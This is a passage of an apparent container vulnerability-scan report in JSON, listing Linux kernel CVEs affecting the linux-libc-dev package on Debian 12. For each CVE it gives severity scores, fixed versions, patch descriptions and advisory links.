"https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46033" ], "PublishedDate": "2026-05-27T14:17:22.313Z", "LastModifiedDate": "2026-11-06T17:17:31.87Z" }, { "VulnerabilityID": "CVE-2026-46047", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46047", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:410fff2618c4d44e1cd1fa2cac2196ac30dc4e9e01b1d32af6d4ef46c5abd625", "Title": "kernel: net: qrtr: ns: Fix use-after-free in driver remove()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: qrtr: ns: Fix use-after-free in driver remove()\n\nIn the remove callback, if a packet arrives after destroy_workqueue() is\ncalled, but before sock_release(), the qrtr_ns_data_ready() callback will\ntry to queue the work, causing use-after-free issue.\n\nFix this issue by saving the default 'sk_data_ready' callback during\nqrtr_ns_init() and use it to replace the qrtr_ns_data_ready() callback at\nthe start of remove(). This ensures that even if a packet arrives after\ndestroy_workqueue(), the work struct will not be dereferenced.\n\nNote that it is also required to ensure that the RX threads are completed\nbefore destroying the workqueue, because the threads could be using the\nqrtr_ns_data_ready() callback.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46047", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/7809fea20c9404bfcfa6112ec08d1fe1d3520beb%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0f313eb6a8f6dffa491373cf3afab979fa1c02f4", "https://git.kernel.org/stable/c/2e127ceb1c415e246076d8e09e23e443a7a2038f", "https://git.kernel.org/stable/c/4ae0bd51bf7079e9c2a06b5de0ae04ba70d10167", "https://git.kernel.org/stable/c/65168712c216584ff482a7d1a67589f2079b2634", "https://git.kernel.org/stable/c/7809fea20c9404bfcfa6112ec08d1fe1d3520beb", "https://git.kernel.org/stable/c/db3c60ec772de30acae92d560dfcc5258e58dbe8", "https://git.kernel.org/stable/c/dff081c3602f2fd810f69ef47945a226980dd05d", "https://git.kernel.org/stable/c/f96779e916576e81430ebb326baff6e433fef8ae", "https://linux.oracle.com/cve/CVE-2026-46047.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052752-CVE-2026-46047-5701@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46047", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46047" ], "PublishedDate": "2026-05-27T14:17:24.2Z", "LastModifiedDate": "2026-11-06T17:17:32.93Z" }, { "VulnerabilityID": "CVE-2026-46054", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46054", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5137b16c9f5ef5d1873d64407250a068ac4636881f37810332f70bf4dbd774b2", "Title": "kernel: selinux: fix overlayfs mmap() and mprotect() access checks", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nselinux: fix overlayfs mmap() and mprotect() access checks\n\nThe existing SELinux security model for overlayfs is to allow access if\nthe current task is able to access the top level file (the \"user\" file)\nand the mounter's credentials are sufficient to access the lower\nlevel file (the \"backing\" file). Unfortunately, the current code does\nnot properly enforce these access controls for both mmap() and mprotect()\noperations on overlayfs filesystems.\n\nThis patch makes use of the newly created security_mmap_backing_file()\nLSM hook to provide the missing backing file enforcement for mmap()\noperations, and leverages the backing file API and new LSM blob to\nprovide the necessary information to properly enforce the mprotect()\naccess controls.", "Severity": "HIGH", "CweIDs": [ "CWE-862", "CWE-280" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25191", "https://access.redhat.com/errata/RHSA-2026:27811", "https://access.redhat.com/errata/RHSA-2026:27812", "https://access.redhat.com/errata/RHSA-2026:30848", "https://access.redhat.com/errata/RHSA-2026:51746", "https://access.redhat.com/errata/RHSA-2026:52649", "https://access.redhat.com/errata/RHSA-2026:52667", "https://access.redhat.com/errata/RHSA-2026:52764", "https://access.redhat.com/errata/RHSA-2026:59091", "https://access.redhat.com/errata/RHSA-2026:59473", "https://access.redhat.com/errata/RHSA-2026:67721", "https://access.redhat.com/errata/RHSA-2026:67723", "https://access.redhat.com/security/cve/CVE-2026-46054", "https://bugzilla.redhat.com/2460619", "https://bugzilla.redhat.com/2464397", "https://bugzilla.redhat.com/2468124", "https://bugzilla.redhat.com/2481980", "https://bugzilla.redhat.com/2482025", "https://bugzilla.redhat.com/2482031", "https://bugzilla.redhat.com/2482588", "https://bugzilla.redhat.com/2482594", "https://bugzilla.redhat.com/show_bug.cgi?id=2482025", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46054", "https://errata.almalinux.org/9/ALSA-2026-30848.html", "https://errata.rockylinux.org/RLSA-2026:27811", "https://git.kernel.org/linus/82544d36b1729153c8aeb179e84750f0c085d3b1%20%287.1-rc1%29", "https://git.kernel.org/stable/c/82544d36b1729153c8aeb179e84750f0c085d3b1", "https://git.kernel.org/stable/c/8bacd09f12c27710228562e4d13163e58c5f4a45", "https://git.kernel.org/stable/c/bc6c380c1159de52a252ed11f19a42c47f60a735", "https://git.kernel.org/stable/c/cd0e707a927a70cdfd8bc5a512a9719a87f5ed51", "https://git.kernel.org/stable/c/d844702198395d3f80222777030f69db6be6b709", "https://linux.oracle.com/cve/CVE-2026-46054.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026052754-CVE-2026-46054-b185@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46054", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46054.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-46054" ], "PublishedDate": "2026-05-27T14:17:25.043Z", "LastModifiedDate": "2026-10-19T20:18:24.973Z" }, { "VulnerabilityID": "CVE-2026-46064", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46064", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:607acf09b8899125511087436a966242e00b8080ad49831cb8e2c22e221b10bb", "Title": "kernel: ibmasm: fix heap over-read in ibmasm_send_i2o_message()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nibmasm: fix heap over-read in ibmasm_send_i2o_message()\n\nThe ibmasm_send_i2o_message() function uses get_dot_command_size() to\ncompute the byte count for memcpy_toio(), but this value is derived from\nuser-controlled fields in the dot_command_header (command_size: u8,\ndata_size: u16) and is never validated against the actual allocation size.\nA root user can write a small buffer with inflated header fields, causing\nmemcpy_toio() to read up to ~65 KB past the end of the allocation into\nadjacent kernel heap, which is then forwarded to the service processor\nover MMIO.\n\nSilently clamping the copy size is not sufficient: if the header fields\nclaim a larger size than the buffer, the SP receives a dot command whose\nown header is inconsistent with the I2O message length, which can cause\nthe SP to desynchronize. Reject such commands outright by returning\nfailure.\n\nValidate command_size before calling get_mfa_inbound() to avoid leaking\nan I2O message frame: reading INBOUND_QUEUE_PORT dequeues a hardware\nframe from the controller's free pool, and returning without a\ncorresponding set_mfa_inbound() call would permanently exhaust it.\n\nAdditionally, clamp command_size to I2O_COMMAND_SIZE before the\nmemcpy_toio() so the MMIO write stays within the I2O message frame,\nconsistent with the clamping already performed by outgoing_message_size()\nfor the header field.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46064", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/9aad71144fa3682cca3837a06c8623016790e7ec%20%287.1-rc1%29", "https://git.kernel.org/stable/c/9aad71144fa3682cca3837a06c8623016790e7ec", "https://git.kernel.org/stable/c/9e8f6c9d4ecddda2f28baa1678340286cff3969c", "https://git.kernel.org/stable/c/b870f652877bfbe321bd0f4096fc37a93296f7b6", "https://git.kernel.org/stable/c/c1c2417c60dbdca5ebb00462f21ee71c2d7f7083", "https://git.kernel.org/stable/c/ca1c857e2bb74a9fc0606128334f85316d57067b", "https://git.kernel.org/stable/c/ce57fa439bd1b5d664f334a0c3e3f0e42abb0153", "https://git.kernel.org/stable/c/fd19eb1c75047a4ed4e855f56cafd704dc3914e0", "https://git.kernel.org/stable/c/fe31722b0194ff76bf8b461e8bf97a2081147787", "https://lore.kernel.org/linux-cve-announce/2026052756-CVE-2026-46064-ba4f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46064", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46064" ], "PublishedDate": "2026-05-27T14:17:26.867Z", "LastModifiedDate": "2026-10-15T02:19:41.027Z" }, { "VulnerabilityID": "CVE-2026-46068", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46068", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:59775e4cae66debb4fd97f53272ef59d62361215a44673b1e68b167fbb2f4a03", "Title": "kernel: crypto: nx - fix bounce buffer leaks in nx842_crypto_{alloc,free}_ctx", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: nx - fix bounce buffer leaks in nx842_crypto_{alloc,free}_ctx\n\nThe bounce buffers are allocated with __get_free_pages() using\nBOUNCE_BUFFER_ORDER (order 2 = 4 pages), but both the allocation error\npath and nx842_crypto_free_ctx() release the buffers with free_page().\nUse free_pages() with the matching order instead.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "nvd": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46068", "https://git.kernel.org/linus/adb3faf2db1a66d0f015b44ac909a32dfc7f2f9c%20%287.1-rc1%29", "https://git.kernel.org/stable/c/5c07962fed66e1238fad7635fa150570bd38b4c5", "https://git.kernel.org/stable/c/80fd99d7c30ea889662d21f1b44d8fea4c83138d", "https://git.kernel.org/stable/c/910bb34b801d39794e656f7d48414844b2bd354e", "https://git.kernel.org/stable/c/adb3faf2db1a66d0f015b44ac909a32dfc7f2f9c", "https://git.kernel.org/stable/c/f17a4850d1ce7c11cba8b1830b9bfedfede878bb", "https://lore.kernel.org/linux-cve-announce/2026052757-CVE-2026-46068-1fce@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46068", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-46068" ], "PublishedDate": "2026-05-27T14:17:27.94Z", "LastModifiedDate": "2026-11-06T17:17:34.393Z" }, { "VulnerabilityID": "CVE-2026-46069", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46069", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:41e70c5070c10d519ca161a0376f86dcd16ca054c2b3340089d175e102f61b95", "Title": "kernel: wifi: mwifiex: fix use-after-free in mwifiex_adapter_cleanup()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mwifiex: fix use-after-free in mwifiex_adapter_cleanup()\n\nThe mwifiex_adapter_cleanup() function uses timer_delete()\n(non-synchronous) for the wakeup_timer before the adapter structure is\nfreed. This is incorrect because timer_delete() does not wait for any\nrunning timer callback to complete.\n\nIf the wakeup_timer callback (wakeup_timer_fn) is executing when\nmwifiex_adapter_cleanup() is called, the callback will continue to\naccess adapter fields (adapter-\u003ehw_status, adapter-\u003eif_ops.card_reset,\netc.) which may be freed by mwifiex_free_adapter() called later in the\nmwifiex_remove_card() path.\n\nUse timer_delete_sync() instead to ensure any running timer callback has\ncompleted before returning.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46069", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/ae5e95d4157481693be2317e3ffcd84e36010cbb%20%287.1-rc1%29", "https://git.kernel.org/stable/c/030abbae49cf9fd1fba7aa08e15ec81efbeb78cf", "https://git.kernel.org/stable/c/11869ce402d95519d49b25a2a97741f68d69d103", "https://git.kernel.org/stable/c/1958a92599b2653d730ccb6f5685fc3fbed21812", "https://git.kernel.org/stable/c/4e179a60a60c0a5aea245e8e67768343c0f070b8", "https://git.kernel.org/stable/c/63fe3389b3e092d6c0eeea9fc0318e7918b16618", "https://git.kernel.org/stable/c/a88f5391dc68f78cae5eb6a8cd341cafee795d3d", "https://git.kernel.org/stable/c/ae5e95d4157481693be2317e3ffcd84e36010cbb", "https://git.kernel.org/stable/c/c3508895450cca4aeaf5dbadbb5e582363005264", "https://linux.oracle.com/cve/CVE-2026-46069.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052757-CVE-2026-46069-b583@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46069", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-46069" ], "PublishedDate": "2026-05-27T14:17:28.17Z", "LastModifiedDate": "2026-11-06T17:17:34.603Z" }, { "VulnerabilityID": "CVE-2026-46075", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46075", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:077d9850123d7a5069d29585cbdf3b87802e630ec15ac846424ef76a1c4b8db4", "Title": "kernel: crypto: atmel-sha204a - Fix potential UAF and memory leak in remove path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: atmel-sha204a - Fix potential UAF and memory leak in remove path\n\nUnregister the hwrng to prevent new -\u003eread() calls and flush the Atmel\nI2C workqueue before teardown to prevent a potential UAF if a queued\ncallback runs while the device is being removed.\n\nDrop the early return to ensure sysfs entries are removed and\n-\u003ehwrng.priv is freed, preventing a memory leak.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46075", "https://git.kernel.org/linus/bab1adf3b87e4bfac92c4f5963c63db434d561c1%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1193c12126d39bf986a5a9214827b73707b193ab", "https://git.kernel.org/stable/c/31901371ccd16b42d2f167b1018ba9ae8bd5a6c7", "https://git.kernel.org/stable/c/6dbeb0f788582e1ab5dfc3f41994eac0ec88c2b5", "https://git.kernel.org/stable/c/775c00d87c385b758da9504cf053acea00e2ed40", "https://git.kernel.org/stable/c/bab1adf3b87e4bfac92c4f5963c63db434d561c1", "https://git.kernel.org/stable/c/c5a45d14234bf26e28a89e3a5dcc08336595cf11", "https://lore.kernel.org/linux-cve-announce/2026052759-CVE-2026-46075-8a6c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46075", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-46075" ], "PublishedDate": "2026-05-27T14:17:28.823Z", "LastModifiedDate": "2026-06-24T16:59:08.56Z" }, { "VulnerabilityID": "CVE-2026-46099", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46099", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4aac104a623c98b995f482a48fc3c43ca440be5dbd90bb8acaab73c8896f63cd", "Title": "kernel: net: ipv6: fix NOREF dst use in seg6 and rpl lwtunnels", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ipv6: fix NOREF dst use in seg6 and rpl lwtunnels\n\nseg6_input_core() and rpl_input() call ip6_route_input() which sets a\nNOREF dst on the skb, then pass it to dst_cache_set_ip6() invoking\ndst_hold() unconditionally.\nOn PREEMPT_RT, ksoftirqd is preemptible and a higher-priority task can\nrelease the underlying pcpu_rt between the lookup and the caching\nthrough a concurrent FIB lookup on a shared nexthop.\nSimplified race sequence:\n\n ksoftirqd/X higher-prio task (same CPU X)\n ----------- --------------------------------\n seg6_input_core(,skb)/rpl_input(skb)\n dst_cache_get()\n -\u003e miss\n ip6_route_input(skb)\n -\u003e ip6_pol_route(,skb,flags)\n [RT6_LOOKUP_F_DST_NOREF in flags]\n -\u003e FIB lookup resolves fib6_nh\n [nhid=N route]\n -\u003e rt6_make_pcpu_route()\n [creates pcpu_rt, refcount=1]\n pcpu_rt-\u003esernum = fib6_sernum\n [fib6_sernum=W]\n -\u003e cmpxchg(fib6_nh.rt6i_pcpu,\n NULL, pcpu_rt)\n [slot was empty, store succeeds]\n -\u003e skb_dst_set_noref(skb, dst)\n [dst is pcpu_rt, refcount still 1]\n\n rt_genid_bump_ipv6()\n -\u003e bumps fib6_sernum\n [fib6_sernum from W to Z]\n ip6_route_output()\n -\u003e ip6_pol_route()\n -\u003e FIB lookup resolves fib6_nh\n [nhid=N]\n -\u003e rt6_get_pcpu_route()\n pcpu_rt-\u003esernum != fib6_sernum\n [W \u003c\u003e Z, stale]\n -\u003e prev = xchg(rt6i_pcpu, NULL)\n -\u003e dst_release(prev)\n [prev is pcpu_rt,\n refcount 1-\u003e0, dead]\n\n dst = skb_dst(skb)\n [dst is the dead pcpu_rt]\n dst_cache_set_ip6(dst)\n -\u003e dst_hold() on dead dst\n -\u003e WARN / use-after-free\n\nFor the race to occur, 